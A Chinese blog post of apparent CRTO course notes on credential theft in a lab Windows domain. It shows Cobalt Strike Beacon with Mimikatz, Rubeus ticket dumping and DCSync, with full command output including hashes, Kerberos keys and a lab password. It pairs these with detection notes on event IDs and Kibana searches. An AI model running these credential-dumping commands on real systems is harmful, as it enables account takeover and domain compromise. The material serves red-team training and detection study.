51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

CRTO | 认证信息窃取

09-认证信息窃取

1-概述

一旦在机器上获得权限,就可以获得经过身份验证的其他用户的凭证信息。凭证可以采用纯文本(用户名和密码)、哈希(NTLM、AES、DCC、NetNTLM 等)和 Kerberos 票证的形式。本章将介绍如何转储各种格式的凭证。第12章-用户模拟章节将展示如何利用这些不同的凭证格式

2-Beacon + Mimikatz

Cobalt Strike 有一个内置版本的 Mimikatz,可以使用它来提取各种凭据类型。但是,与控制台版本相比,Beacon 中的行为方式有些不同。每次在 Beacon 中执行 Mimikatz 时,它都会在一个新的临时进程中执行,然后该进程会被销毁。这意味着无法运行两个"相关"命令,例如:

beacon> mimikatz token::elevate
beacon> mimikatz lsadump::sam

从 CS 4.8 开始,可以用分号分隔多个命令,将它们链接在一起

beacon> mimikatz token::elevate ; lsadump::sam

Token Id  : 0
User name : 
SID name  : NT AUTHORITY\SYSTEM

552 {0;000003e7} 1 D 28330      NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary
 -> Impersonated !
 * Process Token : {0;000d4499} 2 F 3234168    DEV\bfarmer S-1-5-21-569305411-121244042-2357301523-1104 (15g,24p) Primary
 * Thread Token  : {0;000003e7} 1 D 3295086    NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation)
Domain : WKSTN-2
SysKey : b9dc7de8b1972237bbbd7f82d970f79a
Local SID : S-1-5-21-2281971671-4135076198-2136761646

SAMKey : b0664279732686cfbb4b788c078fea82

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: fc525c9683e8fe067095ba2ddc971889
    lm  - 0: 91b6e660bcac036ae7ab67a3d383bc82
    ntlm- 0: fc525c9683e8fe067095ba2ddc971889

Beacon 也有自己的命令约定,使用!和@符号作为"修饰符"

使用!可以在运行给定命令之前将 Beacon提升为 SYSTEM,这样以高完整性运行非常有用的例如在dcsync攻击时。但在大多数情况下,!的直接替代品是token::elevate。例如:

beacon> mimikatz !lsadump::sam

@可以在运行给定命令之前模拟Beacon 的线程令牌,在 Mimikatz 需要与远程系统交互(例如使用 dcsync)的情况下很有用。这也与其他模拟令牌命令是兼容的,如make_token、steal_token

beacon> getuid
[*] You are DEV\bfarmer

beacon> make_token DEV\nlamb F3rrari
[+] Impersonated DEV\nlamb (netonly)

beacon> mimikatz @lsadump::dcsync /user:DEV\krbtgt
[DC] 'dev.cyberbotic.io' will be the domain
[DC] 'dc-2.dev.cyberbotic.io' will be the DC server
[DC] 'DEV\krbtgt' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   : 
Password last change : 8/15/2022 4:01:04 PM
Object Security ID   : S-1-5-21-569305411-121244042-2357301523-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 9fb924c244ad44e934c390dc17e02c3d
    ntlm- 0: 9fb924c244ad44e934c390dc17e02c3d
    lm  - 0: 207d5e08551c51892309c0cf652c353b

3-NTLM Hashes

Mimikatz的模块sekurlsa::logonpasswords能够"从内存中转储明文密码",但是微软在 Windows 10 及更高版本中实施了许多缓解措施,例如默认情况下禁用wdigest,减少密码明文出现的几率

该模块也能够获取 NTLM 哈希,可用来哈希传递和破解密码明文

注意:此命令需要提权后运行

beacon> mimikatz !sekurlsa::logonpasswords

Authentication Id : 0 ; 579458 (00000000:0008d782)
Session           : Batch from 0
User Name         : jking
Domain            : DEV
Logon Server      : DC-2
Logon Time        : 8/31/2022 11:49:48 AM
SID               : S-1-5-21-569305411-121244042-2357301523-1105
    msv :
     [00000003] Primary
     * Username : jking
     * Domain   : DEV
     * NTLM     : 59fc0f884922b4ce376051134c71e22c
     * SHA1     : 74fa9854d529092b92e0d9ebef7ce3d065027f45
     * DPAPI    : 0837e40088a674327961e1d03946f5f2

Cobalt Strike 还为此功能提供了一个简写命令logonpasswords。转储这些凭据后,转到"查看">"凭据"以查看。

根据OPSEC原则,此模块将打开 LSASS 的读取句柄,该句柄可记录在事件 4656 下。使用 Kibana 中保存的"LSASS 的可疑句柄"搜索可以查看到,所以使用前要平衡利弊

上述截图表明用户 WKSTN-2$(即 WKSTN-2 上的 SYSTEM)从 powershell.exe 获取了 LSASS 的句柄,其访问掩码为 0x1010,意味着PROCESS_QUERY_LIMITED_INFORMATION(0x1000)和 PROCESS_VM_READ(0x0010),这与 Mimikatz源代码(https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c#L163)实现一致。

4-Kerberos加密Keys

Mimikatz模块sekurlsa::ekeys可以转储当前登录用户的 Kerberos 加密密钥。由于目前大多数Windows 服务选择使用 Kerberos 认证而不是 NTLM,因此Kerberos 加密密钥更有助于进行Kerberos身份认证攻击,比如用这些密钥实施各种 Kerberos 滥用攻击

注意:此命令需要提权后运行

beacon> mimikatz !sekurlsa::ekeys

Authentication Id : 0 ; 459935 (00000000:0007049f)
Session           : Batch from 0
User Name         : jking
Domain            : DEV
Logon Server      : DC-2
Logon Time        : 9/1/2022 7:29:19 AM
SID               : S-1-5-21-569305411-121244042-2357301523-1105

     * Username : jking
     * Domain   : DEV.CYBERBOTIC.IO
     * Password : (null)
     * Key List :
       aes256_hmac       4a8a74daad837ae09e9ecc8c2f1b89f960188cb934db6d4bbebade8318ae57c6
       rc4_hmac_nt       59fc0f884922b4ce376051134c71e22c
       rc4_hmac_old      59fc0f884922b4ce376051134c71e22c
       rc4_md4           59fc0f884922b4ce376051134c71e22c
       rc4_hmac_nt_exp   59fc0f884922b4ce376051134c71e22c
       rc4_hmac_old_exp  59fc0f884922b4ce376051134c71e22c

注意:Mimikatz 可能会错误地将所有哈希标记为des_cbc_md4(https://github.com/gentilkiwi/mimikatz/issues/314)

在本例中,AES256 密钥就是我们想要的。这些哈希值不会自动填充到 Credential 数据中,可以通过View > Credentials > Add手动添加

根据OPSEC原则,该模块还打开了LSASS的读取句柄,使用前需要权衡利弊

5-SAM数据库读取

安全帐户管理器 (SAM) 数据库仅保存本地帐户的 NTLM 哈希。可以使用Mimikatz 模块lsadump::sam提取这些哈希。如果在整个环境中所有本地管理员帐户使用相同的密码,则横向移动将变得非常容易

注意:此命令需要提权后运行

beacon> mimikatz !lsadump::sam

Domain : WKSTN-2
SysKey : b9dc7de8b1972237bbbd7f82d970f79a
Local SID : S-1-5-21-2281971671-4135076198-2136761646

SAMKey : b0664279732686cfbb4b788c078fea82

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: fc525c9683e8fe067095ba2ddc971889
    lm  - 0: 91b6e660bcac036ae7ab67a3d383bc82
    ntlm- 0: fc525c9683e8fe067095ba2ddc971889

根据OPSEC原则,此模块将打开 SAM 注册表配置单元的句柄。使用 Kibana 中保存的"可疑 SAM 配置单元句柄"搜索来查看它们,使用前权衡利弊

6-域缓存凭证

域缓存凭据 (DCC) 是为域用户登录本地计算机的情况而设计的,即使该计算机与域断开连接,本地设备会缓存域凭据,因此身份验证可以在本地进行,但这些凭据可以被离线提取和破解出明文

不幸的是,哈希格式不是 NTLM,因此无法用于传递哈希。它们唯一可行的用途是离线破解

Mimikatz模块lsadump::cache可以从HKLM\SECURITY中提取这些凭证哈希

注意:此命令需要提权后使用

beacon> mimikatz !lsadump::cache

Domain : WKSTN-2
SysKey : b9dc7de8b1972237bbbd7f82d970f79a

Local name : WKSTN-2 ( S-1-5-21-2281971671-4135076198-2136761646 )
Domain name : DEV ( S-1-5-21-569305411-121244042-2357301523 )
Domain FQDN : dev.cyberbotic.io

Policy subsystem is : 1.18
LSA Key(s) : 1, default {9f88abd7-1cb9-d741-372b-c883b3cbf843}
  [00] {9f88abd7-1cb9-d741-372b-c883b3cbf843} c38164900449d2c6d81b557198ab0cbda2c0ce1c9f57c717cb221032ba1adffb

* Iteration is set to default (10240)

[NL$1 - 9/1/2022 8:10:06 AM]
RID       : 00000450 (1104)
User      : DEV\bfarmer
MsCacheV2 : 98e6eec9c0ce004078a48d4fd03f2419

[NL$2 - 9/1/2022 10:29:19 AM]
RID       : 00000451 (1105)
User      : DEV\jking
MsCacheV2 : 0d50dee9ed3f29d00282168297090d2a

可以使用hashcat(https://hashcat.net/hashcat/)破解这些哈希,我们需要将它们转换为可识别的格式,示例哈希(https://hashcat.net/wiki/doku.php?id=example_hashes)向我们展示了它应该是$DCC2$ # # 格式,DCC 的破解速度比 NTLM 慢几个数量级

根据OPSEC原则,此模块将打开 SECURITY 注册表配置单元的句柄。使用 Kibana 中保存的"可疑 SECURITY Hive 句柄"搜索来查看它们,使用前权衡利弊

7-提取 Kerberos 票证

全面的技术使用时会获取敏感资源的句柄,这些句柄很容易被审计和记录

Rubeus(https://github.com/GhostPack/Rubeus)是一个 C# 工具,专为 Kerberos 交互和滥用而设计,使用合法的 Windows API,它的triage命令将列出当前登录会话中的所有 Kerberos 票证,如果提权后运行则列出计算机上所有登录会话中的所有 Kerberos 票证

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage

Action: Triage Kerberos Tickets (All Users)

[*] Current LUID    : 0x14b5fa

 ----------------------------------------------------------------------------------------------------------------- 
 | LUID     | UserName                     | Service                                       | EndTime             |
 ----------------------------------------------------------------------------------------------------------------- 
 | 0x14bf5e | bfarmer @ DEV.CYBERBOTIC.IO  | krbtgt/DEV.CYBERBOTIC.IO                      | 9/1/2022 6:10:14 PM |
 | 0x14bf5e | bfarmer @ DEV.CYBERBOTIC.IO  | LDAP/dc-2.dev.cyberbotic.io/dev.cyberbotic.io | 9/1/2022 6:10:14 PM |
 | 0x14bf5e | bfarmer @ DEV.CYBERBOTIC.IO  | HTTP/squid.dev.cyberbotic.io                  | 9/1/2022 6:10:14 PM |
 | 0x14b5fa | bfarmer @ DEV.CYBERBOTIC.IO  | krbtgt/DEV.CYBERBOTIC.IO                      | 9/1/2022 6:10:07 PM |
 | 0x14b5fa | bfarmer @ DEV.CYBERBOTIC.IO  | cifs/dc-2.dev.cyberbotic.io                   | 9/1/2022 6:10:07 PM |
 | 0x14b5fa | bfarmer @ DEV.CYBERBOTIC.IO  | ldap/dc-2.dev.cyberbotic.io                   | 9/1/2022 6:10:07 PM |
 | 0x14b5fa | bfarmer @ DEV.CYBERBOTIC.IO  | cifs/dc-2.dev.cyberbotic.io/dev.cyberbotic.io | 9/1/2022 6:10:07 PM |
 | 0x14b5fa | bfarmer @ DEV.CYBERBOTIC.IO  | LDAP/dc-2.dev.cyberbotic.io/dev.cyberbotic.io | 9/1/2022 6:10:07 PM |
 | 0x7049f  | jking @ DEV.CYBERBOTIC.IO    | krbtgt/DEV.CYBERBOTIC.IO                      | 9/1/2022 5:29:20 PM |
 | 0x3e4    | wkstn-2$ @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO                      | 9/1/2022 5:28:29 PM |
 | 0x3e4    | wkstn-2$ @ DEV.CYBERBOTIC.IO | HTTP/squid.dev.cyberbotic.io                  | 9/1/2022 5:28:29 PM |
 | 0x3e4    | wkstn-2$ @ DEV.CYBERBOTIC.IO | cifs/dc-2.dev.cyberbotic.io                   | 9/1/2022 5:28:29 PM |
 | 0x3e4    | wkstn-2$ @ DEV.CYBERBOTIC.IO | ldap/dc-2.dev.cyberbotic.io/dev.cyberbotic.io | 9/1/2022 5:28:29 PM |
 | 0x3e7    | wkstn-2$ @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO                      | 9/1/2022 5:28:29 PM |
 | 0x3e7    | wkstn-2$ @ DEV.CYBERBOTIC.IO | HTTP/squid.dev.cyberbotic.io                  | 9/1/2022 5:28:29 PM |
 | 0x3e7    | wkstn-2$ @ DEV.CYBERBOTIC.IO | cifs/dc-2.dev.cyberbotic.io/dev.cyberbotic.io | 9/1/2022 5:28:29 PM |
 | 0x3e7    | wkstn-2$ @ DEV.CYBERBOTIC.IO | WKSTN-2$                                      | 9/1/2022 5:28:29 PM |
 | 0x3e7    | wkstn-2$ @ DEV.CYBERBOTIC.IO | LDAP/dc-2.dev.cyberbotic.io                   | 9/1/2022 5:28:29 PM |
 | 0x3e7    | wkstn-2$ @ DEV.CYBERBOTIC.IO | LDAP/dc-2.dev.cyberbotic.io/dev.cyberbotic.io | 9/1/2022 5:28:29 PM |
 | 0x3e7    | wkstn-2$ @ DEV.CYBERBOTIC.IO | wkstn-2$@DEV.CYBERBOTIC.IO                    | 9/1/2022 7:43:42 AM |
 -----------------------------------------------------------------------------------------------------------------

每个用户都有自己的登录会话,由 LUID(本地唯一标识符)表示

在此示例中,我们在 bfarmer 的 LUID是0x14b5fa

WKSN-2$ 机器帐户有自己的会话 0x3e4

jking 也有一个会话 0x7049f

服务名称 krbtgt 的票证是票证授予票证 (TGT),其他票证是票证授予服务票证 (TGS)。不同票证类型在Kerberos 章节中有更详细的描述

Rubeus 的dump命令将从内存中提取这些票证,但由于它使用 WinAPI,因此不需要打开 LSASS 的可疑句柄。如果没有提升权限,我们只能从自己的会话中提取票证

无需任何其他参数,Rubeus 将提取所有可能的票证,但我们可以使用/luid和/service参数来进行指定提取,例如我们只想要 jking 的 TGT,我们可以执行以下操作:

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x7049f /service:krbtgt

Action: Dump Kerberos Ticket Data (All Users)

[*] Target service  : krbtgt
[*] Target LUID     : 0x7049f
[*] Current LUID    : 0x14b5fa

  UserName                 : jking
  Domain                   : DEV
  LogonId                  : 0x754c2
  UserSID                  : S-1-5-21-569305411-121244042-2357301523-1105
  AuthenticationPackage    : Kerberos
  LogonType                : Batch
  LogonTime                : 10/13/2022 9:36:19 AM
  LogonServer              : DC-2
  LogonServerDNSDomain     : DEV.CYBERBOTIC.IO
  UserPrincipalName        : jking@cyberbotic.io


    ServiceName              :  krbtgt/DEV.CYBERBOTIC.IO
    ServiceRealm             :  DEV.CYBERBOTIC.IO
    UserName                 :  jking
    UserRealm                :  DEV.CYBERBOTIC.IO
    StartTime                :  10/13/2022 9:36:20 AM
    EndTime                  :  10/13/2022 7:36:20 PM
    RenewTill                :  10/20/2022 9:36:20 AM
    Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
    KeyType                  :  aes256_cts_hmac_sha1
    Base64(key)              :  EIkrCAL8wx98PVRBOZGDKC6Y0KReSosWtvXyv6rIefI=
    Base64EncodedTicket   :

      doIFuj [...snip...] lDLklP

结果将以 base64 编码格式输出票证,还可以添加/nowrap选项将 base64 编码格式化成单行,更方便复制和粘贴

8-DCSync

目录复制服务 (MS-DRSR) 协议(https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47)用于在域控制器DC之间同步和复制 Active Directory 数据的

DCSync 是一种利用此协议从 DC 中提取用户名和凭据数据的技术

注意:这需要GetNCChanges(https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/b63730ac-614c-431c-9501-28d6aca91894),通常只有域管理员才能使用

Beacon 中使用dcsync命令,它后台调用mimikatz lsadump::dcsync实现

beacon> make_token DEV\nlamb F3rrari

beacon> dcsync dev.cyberbotic.io DEV\krbtgt
[DC] 'dev.cyberbotic.io' will be the domain
[DC] 'dc-2.dev.cyberbotic.io' will be the DC server
[DC] 'DEV\krbtgt' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : krbtgt

Credentials:
  Hash NTLM: 9fb924c244ad44e934c390dc17e02c3d
    ntlm- 0: 9fb924c244ad44e934c390dc17e02c3d
    lm  - 0: 207d5e08551c51892309c0cf652c353b
    
* Primary:Kerberos-Newer-Keys *
    Default Salt : DEV.CYBERBOTIC.IOkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e
      aes128_hmac       (4096) : 6fb62ed56c7de778ca5e4fe6da6d3aca
      des_cbc_md5       (4096) : 629189372a372fda

如上使用lamb (域管理员)提取了 krbtgt 帐户的 NTLM 和 AES 密钥

根据OPSEC原则,上述操作会被审计,可以通过搜索 4662 事件id查询到,其中标识 GUID 为1131f6aa-9c07-11d1-f79f-00c04fc2dcd2(对于 DS-Replication-Get-Changes 和 DS-Replication-Get-Changes-All)或89e95b76-444d-4c62-991a-0facbeda640c(DS-Replication-Get-Changes-In-Filtered-Set)可以检测到目录复制操作

使用 Kibana 中的"可疑目录复制"搜索可发现

因此使用权需要权衡利弊

复制流量通常仅发生在域控制器之间,通过对典型的 DRS 流量进行审计以查找可疑的攻击

赞(4)
未经允许不得转载:工具盒子 » CRTO | 认证信息窃取